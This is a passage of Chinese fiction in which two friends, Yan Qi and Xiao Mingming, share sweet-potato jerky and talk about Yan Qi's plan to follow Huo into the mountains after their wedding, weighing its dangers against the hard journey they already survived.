屋里只剩他俩人，很快亲亲热热地挨坐在一起。 肖明明不是空手来，带来些林家自晒的地瓜干，留了些在外面给叶素萍和霍英尝，余下的这会儿也搁在炕桌上。 两个哥儿各拿了一条，边啃边说话。 “你的意思是，等你和霍大哥拜完堂，就要跟着他上山去了？” 肖明明黯然道：“还想着常来找你串门子，这么一来，一月里咱俩也见不上两回。” 颜祺嚼着地瓜干，腮帮一动一动。 “我当初跟他回家，就答应了要跟他进山的。” “你真的不怕？这处的山，和咱老家的山可不一样。” 让肖明明进山，他是打死也不肯的，光是想想可能有熊瞎子在林子里逛，八成就吓得睡不着觉。 颜祺果断咬断地瓜干。 “没啥可怕的，再可怕，能有咱走过的这一路可怕么？” 肖明明听罢愣了愣神，旋即也释怀。 “要是这么比，那确实不算什么。” 于他们而言，现在只要活着，有饭吃，有衣穿，就都算是赚来的，实是不该挑日子如何过。 况且白龙山丰饶，人在里头，说不准过得比山下还舒坦。